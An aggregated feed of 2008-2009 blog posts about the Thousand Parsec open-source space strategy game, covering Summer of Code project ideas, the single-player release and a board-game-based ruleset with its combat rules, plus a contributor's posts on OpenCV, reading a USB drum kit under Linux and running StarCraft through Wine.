With the deadline looming, some of the ideas on our ideas page have already had lots of attention, but there are a number of ideas which have yet to have any applications. I would like to point out these ideas because we think they are very important and have a good chance to be accepted!

Some of the most important ideas have to deal with our coolest looking last Summer of Code project last year, Eugene Tan's new 3d client.

  • Adding single player support to the 3d client.

    As mentioned here we have just release single player support in our 2d client. We would like to see this extended to support our other major client.

    Most of the code for this support is in the libtpclient-py support library that is already shared between both the 3d and 2d clients, so it should be significantly easier then Ezod's own task.

  • Create a "Simple 3d ship designer".

    Spore has shown us that it is possible to give people non-professional 3d artists, the ability to create cool looking models. With a little bit of prefabed art work and some easy transforms, even programmers don't have to be scared anymore.

    We would like to see a similar ability added to Thousand Parsec. It can be developed as part of the 3d client or as a stand alone program.

Another project we think is really important, is to continue the efforts to improve single player support. These include,

  • Adding support for saving and restoring games.

    Having to play a complete game in one sitting is a real pain, specially since some of the Thousand Parsec games can requires many hours to play. The jist of this idea would be to add save/load support found in most game types.

    This would require adding saving/loading support to a number of back end projects like our primary server (tpserver-cpp) and daneel-ai.

  • Adding support for single player "scenario" mode.

    In some ways, this is related to the previous idea but a little simpler. This would be similar to the "missions" you get in other normal games.

    An example would be something like "King Unorganised has run our intergalactic empire into the ground, we have put you in charge of restoring us to our former glory."

  • Extending single player support to include "set up your own multiplayer game".

    Single player support has also paved the way towards adding support for simple wizard set up of games to be played with friends. Much of the procedure is the same and we already have an auto-discovery process created.

Getting started with the single player development should be very easy, it only takes 6 commands!

 git clone git://git.thousandparsec.net/git/tpclient-pywx.git
 git clone git://git.thousandparsec.net/git/daneel-ai.git
 git clone git://git.thousandparsec.net/git/tpserver-cpp.git
 cd tpserver-cpp; ./autogen.sh; ./configure; make; cd..
 cd tpclient-pywx
 ./tpclient-pywx

If you are interested, I suggest that you jump on IRC and chat with our wonderful bunch of mentors. It is also recommended that you put in an application (even if only a draft) as soon as possible, as we are happy to help you with your application and provide feedback.

by Mithro at April 02, 2009 12:00 PM

March 31, 2009

Thousand Parsec News

Single Player released! - A tale of Google Summer of Code

Thousand Parsec is pleased to announce our first release that includes single player support. Now all of our players can easily enjoy the game at anytime, whether or not they can find other interested players. We've made several other improvements with this release, but this feature is the most significant change for 0.3.2. Binaries are currently available for Windows and will soon be available for other systems (but you can always grab the code from our repository!).

Single player support is a huge step forward for us, as it gives players a quick way to get involved with minimal fuss. We have strived to hammer out this functionality for the past 3 years. Better still, contributions from Google Summer of Code students have allowed us to reach this goal.

The story of this release is long, and has its beginnings back in 2008 when Thousand Parsec joined Google Summer of Code for the second time. The previous year's GSoC had been very successful, and we were looking to achieve even more success in round two.

Ezod is our first Summer of Code student. He was pivotal in making this new release possible. At the start of the summer, he proposed an interesting project, "Add single player support to Thousand Parsec". Little did he know what he was getting into!

To the naive, this may have seemed like a simple project; all it needed to do was start up the server and an AI or two in the background. The proposal actually meant that Ezod would have to touch almost every part of the code base and project infrastructure, from the servers, through the AIs, to the clients. Thousand Parsec was never really designed to work in this way, as everything designed to run standalone.

We had no qualms about Ezod's skill having already started submitting patches and packaging Thousand Parsec for Gentoo, but the extent of the changes needed for the proposal to work still raised some skepticism. To make things tougher, we had received a large number of quality applications, meaning that we had plenty to choose from.

Luckily, Google blessed us with more slots then we could manage (we ended up giving back two) and it was decided to take a risk. By the end of the summer Ezod had not disappointed -- he had the basics working -- but it would take another 9 months and integrating the work of two other students before we would reach the release we have today.

One problem we faced was that a game is not fun if you don't have any competition. This is were our second Summer of Code student joins us.

Iwanowitch put in a proposal for creating a rule-based AI for Thousand Parsec. His proposal was one of the two AI projects accepted as part of the 2008 Summer of Code.

The AI originally targeted the RFTS ruleset, which was developed as part of our first Summer of Code. While functionally complete, it ended up having a number of show stopping bugs for AI development. This only became clear halfway through the summer with the mid-term evaluations coming up.

The mentors put their heads together, and the best solution we could come up with was for the AI to switch to a different ruleset. This decision would later decide which ruleset Ezod would support in single player mode.

Thanks to a good design, by the final evaluation, Iwanowitch had his AI competing against the second AI being developed over the summer. Ezod then worked with Iwanowitch to integrate the AI into the single player mode, and it has now become the major opponent that everyone who tries out Thousand Parsec will play against.

So which ruleset did they switch to, you ask? Well, that is where our third summer of code student comes in.

Jphr proposed (and was accepted) to create a new ruleset for Thousand Parsec. Not having any C++ experience at all, he choose the ambitious goal of developing a modified version of the risk board game for the C++ server. He charged through the development, and by the mid-term evaluation the core rules had already been well developed and he was working on more advanced features such as custom maps.

It made sense for us to suggest that the AI guys target this ruleset. It had already been shown to be solid and it helped relieve some of the painful process of finding bugs. This also meant that with Ezod's help, Jphr's ruleset has gone on to be the first to be fully supported by single player mode.

So that is the story of how three students' work came together to produce this release. Both Iwanowitch and Ezod will be joining Thousand Parsec as Summer of Code mentors this year. These were not our only successful projects for Google Summer of Code 2008 -- in fact, all of our projects achieved success that year and more can be read about the others on our website.

Sound like everything for Thousand Parsec has already been finished? Far from it! We are glad to be participating in GSoC once again, and I hope this story has inspired you to be part of Google Summer of Code and part of the Open Source community.

by Mithro at March 31, 2009 11:00 PM

March 13, 2009

ezod - GSoC 2008

Free Software in Vision

My research area at school is distributed smart cameras, a field which is primarily rooted in computer vision. Despite having access to a range of expensive proprietary software libraries by virtue of having purchased the equipment, most of my computer vision work uses a stack of free software running on Gentoo Linux.

For interfacing to the cameras themselves, we have the excellent libdc1394, a high-level API for interfacing with IEEE 1394 cameras supporting the IIDC specification (which our Prosilica EC1350s, among hundreds of others, do). The Coriander GUI makes configuration and control a snap. The ebuilds available in Portage have so far worked flawlessly for me.

Many computer vision tasks are covered by OpenCV, a former Intel project that is gaining a lot of momentum with academic open source developers worldwide. When I first considered it in early 2006, it had a long way to go in terms of maturity. However, after seeing Gary Bradski's talk at ICDSC 2008, I decided to give it another look, and was pleasantly surprised to find out that O'Reilly had just published Learning OpenCV (co-authored by Bradski), and that it was an excellent practical introduction to the library. The latest stable release for Linux at the time of writing, 1.1pre1, shows signs that this library is becoming quite robust. It seems to finally be moving from a simple collection of algorithms toward a fully functional general-purpose computer vision library. The feature list for the June 2009 release has me excited, particularly because of the better Python interface and some big improvements in feature detection and 3D stuff.

Computer vision and related algorithms tend to use a lot of linear algebra, and depending on whether I'm coding in C or in Python, I use the GNU Scientific Library or NumPy, respectively. Both are excellent numerical libraries. I used NumPy fairly extensively in developing PyDSSCC for my Master's thesis.

My personal Gentoo overlay has ebuilds for both OpenCV (which tends to lag the release version in the official tree) and Gandalf (which is not in the official tree).

March 13, 2009 01:14 AM

March 07, 2009

ezod - GSoC 2008

March to a Different Beat

Crystal bought me this USB Drum Kit for my birthday back in November. If you followed the link, you may have noticed this: Includes custom software (Windows only).

Naturally, I want this thing to be sitting on my desk, ready to crank out a beat at all times. And naturally, the computer that's sitting on said desk is not running Windows. The great thing about this present is that it's given me a cool new side project to work on.

The first thing I did was determine that it is a pretty standard HID. It chucks out 8 identical bytes in its report. Looking at one byte, the 6 low-order bits each represent one pad on the drum kit, with a 1 indicating that the pad is being pressed.

USB Drum Kit


My simple test program pipes /dev/hidrawX as stdin and reads it to buf in a loop. The following logic compares the current state to the previous state, and if a new pad is being pressed, it sets pad to the integer value from the image above:

dtot = buf[ 0 ];
raw = ( dtot ^ dtol ) & dtot;
dtol = dtot;
pad = 0;
while( raw )
{
pad++;
raw >>= 1;
}


Just to see it in action, I added a fork and execl call to the loop that plays a different wave file for each pad through aplay. Among other things, this is a poor solution because fast drumming or long wave files will quickly fill up the available channels on the sound card, so that sometimes the sounds don't play at all.

The next step is to get this working with libhid. I ran lsusb -d 1941:8021 -vvv to get the details about the input and output paths, but I haven't had any success getting an input report thus far (apparently, I'm reading the path wrong somehow, will ask the libhid mailing list).

Once input is coming in properly, I'm planning to look into a better way to play the sounds (pre-mixed, so that only one hardware channel is needed), and I may also write a simple GUI that lets you assign samples to each pad easily.

March 07, 2009 05:03 PM

March 03, 2009

ezod - GSoC 2008

Linux Zealots

I play a lot of StarCraft. Here's how I do it on my Linux box.

Installing Wine

First, I install and configure Wine. In particular, I leave the virtual desktop option off, and ensure that a sound driver (in my case, ALSA) is configured.

ISO Images

Both CDs are required for installation and play (assuming one wants to play all the campaigns), so I dump ISO images of them to my filesystem somewhere:

dd if=/dev/cdrom of=/mnt/share/wine/starcraft.iso bs=2048
dd if=/dev/cdrom of=/mnt/share/wine/broodwar.iso bs=2048

I also have these images in my /etc/fstab:

/mnt/share/wine/starcraft.iso /mnt/starcraft iso9660 ro,loop 0 0
/mnt/share/wine/broodwar.iso /mnt/broodwar iso9660 ro,loop 0 0


I mount them at boot; this can be disabled via the noauto option.

These mountpoints should be symlinked in ~/.wine/dosdevices, each as their own device, so that the executable finds them when it looks.

Installing StarCraft

Now, I install StarCraft, Brood War, and the latest patch through Wine.

Since I have several user accounts on my machine, I create a symlink in ~/.wine/dosdevices to a directory with group read-write permissions for all local (human) users, and install it there. That way, only one copy is necessary, and maps, replays, profiles, etc. all live in the same place.

At this point, the game should just work. See the AppDB entry for more information about running StarCraft through Wine.

Run Script

Finally, I create a script in my path to run the game:

#!/bin/bash
wine /mnt/share/wine/Starcraft/StarCraft.exe


A nice side effect is that in awesome, I can hit [modkey]+F1 and type starcraft all with my left hand. I've gotten pretty quick at it too...

March 03, 2009 06:58 AM

March 01, 2009

ezod - GSoC 2008

TP Single Player Release

We're planning to release a version of the Thousand Parsec tpclient-pywx client soon with the new single player wizard. Support for single player mode is also coming in tpserver-cpp and (hopefully) a couple of the AI clients. The target date for the first candidate is October 19.

I've significantly updated the Gentoo overlay for Thousand Parsec recently, stabilizing most of the release ebuilds and adding ebuilds that grab the latest Git versions. Among other things, this means you can grab the as-yet unreleased tpserver-cpp and tpadmin-cpp combo implementing the new administration protocol!

March 01, 2009 12:00 AM

PyDSSCC Release

I recently cranked out a usable release of PyDSSCC, the Python implementation of my distributed smart stereo camera network calibration scheme. Version 0.3 is a world better than what I tacked onto my M.A.Sc. thesis as an appendix. Notably, it's packaged as a Python module now. Also notably, it now generates the bin ranges for features automatically based on a shared sample of actual points.

No other major updates. Studying for my comprehensive exam at the end of this month. Will be back in full effect when that's over with.

March 01, 2009 12:00 AM

February 28, 2009

ezod - GSoC 2008

OpenCV, Day One

I've been building on my research lab's computer vision codebase for a couple years now, slowly adding functionality as it's needed to get some experiment or other done. It's built on National Instruments' LabWindows/CVI IDE, along with their image acquisition and low-level CV stuff, so it's strictly Windows-based and the code is basically useless in any other setting. That, combined with the fact that I'm the only student currently using it, has led me to implement the bare minimum of what I need, and it's shamefully sloppy. To boot, due to various issues with Windows and the NI software (which, of course, being proprietary and closed-source, we can do zilch about), it doesn't even work reliably and is riddled with workarounds.

When I received an e-mail from National Instruments encouraging me to upgrade to Version 9 (will that be credit card or purchase order today?) while waiting an agonizingly long time best described as a fraction of an hour for my fifth try at generating a decent disparity map to complete, I decided to give the free software options another look.

I had already been playing around with libdc1394 on my desktop box in the lab, an x86 machine running Gentoo. Also, I had recently attended Gary Bradski's OpenCV workshop at ICDSC 2008. Some poking around yesterday revealed that OpenCV is much more mature now than it was when I originally considered using it back in 2006.

After reading through most of Learning OpenCV from O'Reilly (of which Bradski is a co-author) last night, I realized I could probably replace almost all of my custom code with a few calls to OpenCV routines and some glue. It does practically everything I need for my two current projects: image capture, camera calibration, stereo calibration and geometry, background subtraction, interest point detection, correspondence, disparity map generation. And it does them far more efficiently, in most cases, than my own code. Best of all, the entire chain is now free software and is no longer bound to proprietary products (including the higher-level stuff, like PyDSSCC, which is already open-source and platform-independent).

Today, I wrote a short (about 40 lines, comments and whitespace included) C program that displays streaming video from two of my IEEE-1394 cameras in side-by-side windows. Not only does it actually work, without requiring rebooting or tweaking settings or sacrificing goats to Odin, but the frame rate is higher and it doesn't randomly "forget" to grab a frame every so often.

I am thoroughly impressed so far. The rest of the week will see my try to implement both projects using OpenCV.

February 28, 2009 11:40 PM

OpenCV Progress

Things are going well after the first week working with OpenCV. I have no proper complaints about the library, but I still have that uneasy feeling one gets when using something so high-level. It is particularly acute in this case, as computer vision problems are notoriously ill-posed and, having researched many of them heavily, I am apprehensive when the cat-skinning method is chosen for me. I am hopeful it will pass when good results start coming in, and if they don't, well, OpenCV is open, right?

The latest OpenCV ebuild in the official Portage tree is version 1.0.0, which appeared to be missing a lot of the functionality I was after (notably, stereo vision routines). In order to get things working quickly yet cleanly, I scrapped the patches and updated the ebuild to 1.1.0-pre1, which is in my overlay. When I get a chance to prod it a little more thoroughly I'll contact the maintainer about getting the update out.

As of right now, I have implemented a total of four utilities in my stereotools project. The first is a stereo calibration program and library that performs Bouguet's method automatically from a series of saved images, and provides a data structure and file I/O for the results. The second is a fast disparity/depth map generator, which seems to work but hasn't really been tested yet. The third is a 3D interest point detection utility that will provide the point sets for my 3D distributed smart camera calibration method; this one is still in the works, as I find myself implementing my own sparse ZNCC feature matching (once again) due to a conspicuous lack thereof in OpenCV. The fourth and latest, currently in the works, is a simple image capture utility that shows live feeds from both cameras and snaps images when a key is pressed.

February 28, 2009 11:40 PM

Play Alone Soon

Thousand Parsec single player mode is almost ready! The initial goal is to release tpclient-pywx with single player mode, along with at least one server and one AI client supporting two rulesets, on Windows and Gentoo Linux. We achieved a few of the final steps last month.

First, we have the release of tpserver-cpp 0.6.0. This release includes the new Risk ruleset as well as the administration protocol, both Google Summer of Code 2008 projects. The Gentoo ebuild for tpserver-cpp now pulls in the recently-released tpadmin-cpp. We're currently working on a Windows package for the server.

Next, we have a preliminary release of daneel-ai, also a GSoC project, which implements an AI client for the Risk and RFTS rulesets in pure Python. The Gentoo ebuild installs a script in the path and the XML file necessary for single player mode, so on that platform we're good to go. We plan to have a more solid release and a package for Windows soon.

February 28, 2009 11:40 PM

Python Conquers the Universe

While testing the Thousand Parsec single player mode on Gentoo the other day, I came across something strange. The wxPython client, when run from a Git working directory, wants to use development versions of libtpproto-py and libtpclient-py. It does this by prepending '.' to sys.path. For some reason, though, import tp.* was still finding the site-packages versions first, which I had installed from my own overlay ebuild. It turns out that setuptools and Portage conspired to install -nspkg.pth files containing Python code that somehow put the site-packages path for the tp module ahead of everything else in sys.path. It seems doing this at all is an undocumented feature, and the current site module docs don't mention it. My evil temporary fix (in the ebuilds) is to simply delete those files and touch an __init.py__ in the tp directory. It seems to work, but I still plan to investigate the cause (maybe the fact that there are multiple libraries sharing a namespace?) and come up with a less hackish fix if possible.

On the bright side, single player mode seems to work well for Linux! The wizard GUI needs vast improvement, but it's functional. As soon as we merge the singleplayer branches of tpclient-pywx and libtpclient-py, we can release a package, and Gentoo will have ebuilds for everything you need to play single player Risk and RFTS. Before we see this, I am probably going to have to get daneel-ai running on Windows so we can test it there before release. We're also going to need packaging for a number of modules on other Linux distributions.

I'm working on stepping up my Python game in general, checking out Expert Python Programming and O'Reilly's Python for Unix and Linux System Administration. A thousand other people have said it better than I, but this is what software development ought to be.

February 28, 2009 11:39 PM

January 28, 2009

Mithro rants about stuff

Programmer art, it’s deadly!

So one of the other things I worked on at Linux.conf.au was a project Joel Stanley started, “Open Velociraptor Per Child, the Game!”.

The game comes out of the Open Velociraptor Per Child project’s ideas. The OVPC project aims to give every child in the world their very own Velociraptor. The game simulates what would happen if this project was ever to achieve it’s wonderful but lofty goal.

My main contribution was adding support for (very bad) collision detection, scoring and difficult levels. However, what I spent most of my time was spent making bad programmer art, that of the particularly gruesome child death animation. I like to think it was this artwork that meant we won top spot at the Gaming Miniconf competition, beating the “Shave Bdale” game.

You can download the game from the git repository. Have fun!

by mithro at January 28, 2009 09:03 AM

December 09, 2008

nuleren - GSoC 2008

A tour of TaE so far

The Board:
Here is a picture of the physical board from the game this ruleset is based off of (click on the pictures for a larger view):


The board is composed of 3 different spaces: blank tiles, river tiles, and artifact tiles (marked by the winged creatures).

Here are a couple screenshots of the board in thousand parsec:

In this screenshot, each of the "tiles" of the board is represented as a system. The green and red systems at the bottom of the screen are each of the player's systems. They are used as a spot to hold each player's fleets when they are not in play on the board.

To see the three different tile types represented, we switch to resource view:

Here you can see the "river tiles" represented as small red circles. The "artifact tiles" are the larger red and blue circles. Since this adaptation is set in space, the river tiles are uninhabitable systems which can only be colonized by mining robots, and the artifact tiles are star systems which contain ancient alien artifacts.

Players may also create their own maps.

The Game Pieces:
Each player has a "hand" of 6 random building pieces, 4 leaders (one for each type of colonist), and 2 destruction tiles.

Here are what they look like in the real game:

The building pieces: Temple (red), Settlement (black), Farm (blue), and Market (green).


The leaders: 1 set of 4 for each player. Each set contains 1 leader per building type: Priest (red/temple), Merchant (green/market), Farmer (blue/farm), King (black/settlement).


Destruction pieces: Each player gets two of these. Each can be used once to destroy a tile and render it unusable for the rest of the game.

In the TP adaptation, the game pieces are fleets of ships. Each fleet represents a single game piece. All of your fleets are kept in your home system until you issue an order to them. Here is a sample home system:

Here you can see the player's hand of 6 Colonist fleets (building tiles), set of 4 leaders, and 2 bombers (destruction tiles). To match the setting, the leader's names have changed: Priest is now Scientist Leader, King is now Settler Leader, Farmer is now Mining Leader, and Merchant is now Merchant Leader.

Each colonists' type is hidden from other players, to find out the type of one of your colonists, you click on it and look at the type of ship in the fleet:

The four types of colonists are: Settler (Settlement), Mining (Farm), Merchant (Market), Scientist (Temple).


Orders:

Each fleet has an order associated with it:
  • Colonists may colonize a system: this consumes the colonist and generates a resource of the colonist type on the system.
  • Leaders may move to occupy a system: this does not consume the leader. This order is used to harvest resources for points.
  • Bombers may destroy a star system. This removes all resources, leaders, and anything else in the system and prevents any further orders from being executed on that system.
All of these orders are performed by clicking on the fleet, selecting new order, and then selecting the star system you wish to perform the order on. If the system is not valid, then it will reset the input dialog and you must choose a different system. Here is a screenshot of the order dialog:


The game board, pieces, and orders are relatively simple. The real meat of the game comes in the rules to when and where you can execute the orders. But first, you have to understand regions...


Regions:

Regions are a group of colonized or occupied (by a leader) systems. Each system in the region must be adjacent (north, south, east, or west... NOT diagonal) to at least one other system in the region. Here is an example:

Resource View:

Normal view:

In resource view, the red circles are colonized systems (the one with red/blue has an alien artifact). In the normal view, there is a leader in the upper right corner (marked in red). So all of the systems except the one in the bottom left corner are in the same region.

Brief overview of the rules:
  • Each player may execute 2 orders per turn.
  • A system may only be colonized if it is not occupied by a leader and has not yet been colonized.
  • Mining ships may ONLY colonize uninhabitable systems and these systems may not be colonized by any other type of ship.
  • Leaders may only be moved into an unoccupied, uncolonized, inhabitable system which is directly adjacent to a science colony.
  • There are 4 different "points" which each player can receive; one for each of the colonist types.
  • When a system is colonized, the player who owns the leader of the same type in the region of the new colony receives one point of that type. If there is no leader of the correct type then the owner of the Settler leader in that region gets the point. If there is no settler leader, then no one gets the point.
  • If there are two or more alien artifacts in the same region at the end of a turn, then the person with the Merchant leader in that region gets to take one of the artifacts. An alien artifact acts 1 point of a type of the player's choosing.
  • Leaders may not join two regions together.
  • If a leader is placed in a region which already contains a leader of the same type, internal combat is initiated (not yet implemented).
  • If two or more regions are joined and they contain leaders of the same type, then external combat is initiated (not yet implemented).
  • Combat is not yet implemented and is not covered in this rules overview.
  • At the end of each turn, each player's reserve of colonist ships is refilled to 6 randomly from a pool of ships.
  • When the pool of colonist ships is empty, the game is over.
  • When there are 2 or fewer alien artifacts left on the board, the game is over.
  • Each player's score is equivalent to the number of points in the type which they have the fewest points in. (the final score tally is not yet implemented).

by Nuleren (noreply@blogger.com) at December 09, 2008 09:06 AM

Combat Overview

Now that combat is implemented into TaE, I'm going to run through the rules behind it and what it looks like both in TP and on the physical board.

First off, there are two different types of combat in TaE: Internal and External.

Internal combat is when there are two or more leaders of the same type in a single region, as shown below:



Physical Board


TP: Normal View


TP: Resource View


External combat is when there are two or more regions which have just been connected and contain leaders of the same type, as shown below:


Physical Board. The different regions are highlighted in red and green.


TP: Normal View


TP: Resource View


Once combat is initiated, each side's initial strength is calculated. For internal combat the initial strength is the number of scientist colonies bordering your leader. For external combat the initial strength is the number of colonies of the same type as your leader in your region. For the internal example above, the "pot" has an initial strength of 1 and the "bow" has an initial strength of 2 (the red tiles are represent the scientist colonies). In the external example above, the "pot" has an initial strength of 1 (one green tile) and the "bow" has an initial strength of 0.

During the next turn (the combat turn) each player involved in the combat my "reinforce" their leaders. To do this they select an appropriate colonist ship (scientist for internal, the same type as the leader for external) and select "Reinforce" as shown below:




For each reinforcement added, the strength of that side increases by one. After the turn is over, the side with the highest strength is declared the winner.

For internal combat, the losing leader is removed from the board and the winner is awarded one technology point. If in the example above, no reinforcements were added, then the "bow" would win and the board would look like this after combat:


Physical Board


TP: Normal View


TP:Resource View


For external combat, the losing leader is removed, and all of the colonies of the same type as the losing leader in the losing leader's region are removed. In the example above, let's say the "bow" adds two reinforcements and the "pot" adds no reinforcements. This makes the final strength 2 to 1 with the "bow" winning. The "pot" leader is removed as well as the green tile in his region. The "bow" player receives 2 points of the same type as the leader (green). The board looks like this after combat:


Physical Board. After removing the losers, the area is split into two regions, outlined in black.


TP: Normal View


TP: Resource View


That's all there is to combat in TaE. After the combat turn is complete, if there are still two or more leaders of the same type in one region, another combat turn will occur. Otherwise, the game resumes with normal turns.

by Nuleren (noreply@blogger.com) at December 09, 2008 09:06 AM

jmtan - GSoC 2008

Rendering of stars and fleets

One design issue I've run into is how to display planets and fleets in relation to star systems. Thousand Parsec uses incredibly large distances when positioning the stars in order to give a sense of scale to the game. In order to fit everything reasonably close together for the player, I've scaled down these distances. It works decently for star systems, but when it comes down to individual planets, they appear right on top of their parent systems due to scaling.

There are a few approaches I could try to solve this problem

1. The tpclient-wx approach

The flagship client of Thousand Parsec draws both fleets and planets as dots in a circle around their star systems. This would involve ignoring their individual locations and drawing them in an arbitrary position around the star.

2. The GalCiv 2 approachGalactic Civilisations 2 draws planets and fleets in a semi-realistic manner. What I mean is, planets are out of proportion and now that I think of it, it appears that all the planets have an equal distance from the sun. So this is not really a different approach from the above, the only difference is that fleets can move around the system (not supported in TP).

Image credit: GalCiv 2 site

3. The MOO2 approach
Master of Orion 2 draws star systems and fleets on the map - no planets. To view planets, one has to click on the system which brings up a window showing the individual planets. Very elegant in my opinion.

Here is another shot of how systems are drawn in relation to fleets.

Image credit: Mobygames

4. Another method would be some kind of dynamic map which changes in detail as you zoom in and out (Homeworld style).

I guess this post has really been a thinly veiled excuse to post some nice screenshots from other games. :) Now back to work!

by Eugene Tan (noreply@blogger.com) at December 09, 2008 01:44 AM

SleekSpace

Over the weekend, I found a nice CEGUI skin for the client. When I first downloaded it, it was strangely missing a lot of property tags needed to work correctly, such as text colours and one of the frame borders not showing up. Not sure if I managed to get the same look as the original, but at least I learned a little about the Falagard skinning system in the process. I'm guessing there are still missing property tags since I haven't tried all the widgets.

I thought I would try some simple layouts to see how the main gui might look, then I ran into some problems with the star system labels.

Looks like the GUI blocks out the star objects correctly but not the text overlays. I'll have to look into how OGRE's overlays work. Once the rendering order is sorted out, I'll start to look into how I can retrieve information(messages, system information, etc) using the tpclient library.

edit: Looks like I just had to change one parameter from False to True when creating the CEGUI renderer.

by Eugene Tan (noreply@blogger.com) at December 09, 2008 01:44 AM

Ship Models



A huge debt of gratitude goes to the Vega Strike project, this model is from their upcoming Ogre port. I think this model would be good for a 'scout' class ship.

Actually, Thousand Parsec does have it's own talented modeller, Epyon, and his work can be viewed here. (Check out the cool concept art as well!) However, I encountered difficulties in bringing over the meshes from the .max format. Since I don't have that software, I had a friend to convert it to ogre for me. Portions of the model would disappear and also I was apparently missing some textures. I think these are all just temporary problems, and with a little effort they will be ready to roll as well.

Going back to the 'Scout' model, I found that scaling it in proportion to the planets would make it lose a lot of detail, so I will try scaling the size of all objects up to allow further zooming in.


It's extremely faint, but if you squint (or click on the image) you can see the previous background has been replaced by a starry background. I hope to make it dynamic as well, in the sense that when you zoom in it will generate more stars further back, just like actual space. And other possibility would be to tweak the particle system so it generates clumps of stars with a glow to them.

by Eugene Tan (noreply@blogger.com) at December 09, 2008 01:44 AM

Some updates

Here are the changes I have made to the thousand parsec client this week.

Movement orders possible by selecting a fleet and right-clicking the destination. Finding out how to send orders in thousand parsec was an important milestone for me.


Movement paths are indicated by a line. However, this does not remain when the turn updates. In addition, changing the destination will leave the old line behind. :( I will be getting to that shortly...


Able to delete messages. I would like the "Goto" button to center the map on the source of the event. For instance, a battle report message would go to the combat location. However I could not find any information in the message object passed by the server that might help. Currently, the message object has id, slot, type, subject, body, turn number and references as it's attributes, and clearly "references" would be a good place to look, but I found it empty no matter what the message. So, "goto" is still in progress. Also, I think a message count in the window title would be useful.

Able to exit to the login screen and re-enter the same game. This was done by clearing all the resources and loading them upon re-entry. However, tpserver logs do not report a client disconnect, so I have find out how to do that before entering another game.

Some bugs I have encountered:

The mouse cursor is hovering over what is called a "CEGUI listbox" object. Since I am using it to show available orders for the selected object, it required removing the list and repopulating it whenever a new object was selected. However I found that it would segfault immediately upon removal of an object. Finally saw a method called "setAutoDeleted(boolean)" for listbox items in the api, which deletes the item automatically when it is removed from a list. After setting it to False I could then remove items without crashing. Hope that this helps other python-ogre cegui users out there, since the setting is on by default. My unqualified guess is that python's gc does not like objects deleting themselves automatically.

What's next
I have been giving some thought to improving the look of the client. I think it should be pretty clear that the current 3d models are all placeholder objects. I've found Vega Strike to be a rich source of 3d models, although I have only played the game a couple of times. Ideally, I would like to have different models for each ship class, but this might become ruleset-specific. So right now I would assign a ship model type to each player, so "Player 1" would always get a certain model and so on.

Planet models should have a texture to them as well, but I'm wondering how to distinguish planets from one another. For instance, some planets could be "Terran" type, "Arid" type, "Acid" type and so on. In rulesets which don't supply such information, I would apply a generic planet type to prevent confusion.

For stars, they ought to have a glow in addition to their texture. Actually mithro, who created the client, has already put in "glow" billboards, but they are not visible as I think I forgot to resize them.

Currently it's not clear which ships and planets belong to each player, so they have to be differentiated somehow. I guess I could change the material settings for each fleet to colour them, but colouring planets would be weird. Perhaps I could change the colour of their text label, but I've already found some colours to be barely visible against the background. A better way would be to surround the planet with a coloured halo, because at least the player won't have to read it.

The skybox currently being used for the background has to go as well. I will try a particle system of white dots with billboarded nebulae. Hope it looks better than it sounds. :)

by Eugene Tan (noreply@blogger.com) at December 09, 2008 01:44 AM

A status report

Yesterday marked the official start for coding. Following my schedule, these are my features for this week:

- Starmap will represent objects with different models
* Stars, fleets and planets can be distinguished from one another

This is where the coding I've done beforehand comes in handy. Stars, fleets and planets can be distinguished already, using some extremely primitive models.

If you squint, you can still see the blueprint lines on those ships :). Those are my three fleets orbiting around the home star system. It is a bit close to the other star for my liking, but I'm not sure what to do about that. I guess I will add some colour tinting to distinguish friendly assets from the enemies (which is everyone else).

- Client will show a message window
* Able to scroll, flip through messages and delete them.
* A Goto button will center the map on the object related to the message.

So far, I have implemented some of the windows already, based on how the existing tpwx client works. Since the messages window can flip through messages using "Next" and "Prev", I will be adding a goto button and delete button as well. I guess I'll have to resize those existing ones.

by Eugene Tan (noreply@blogger.com) at December 09, 2008 01:44 AM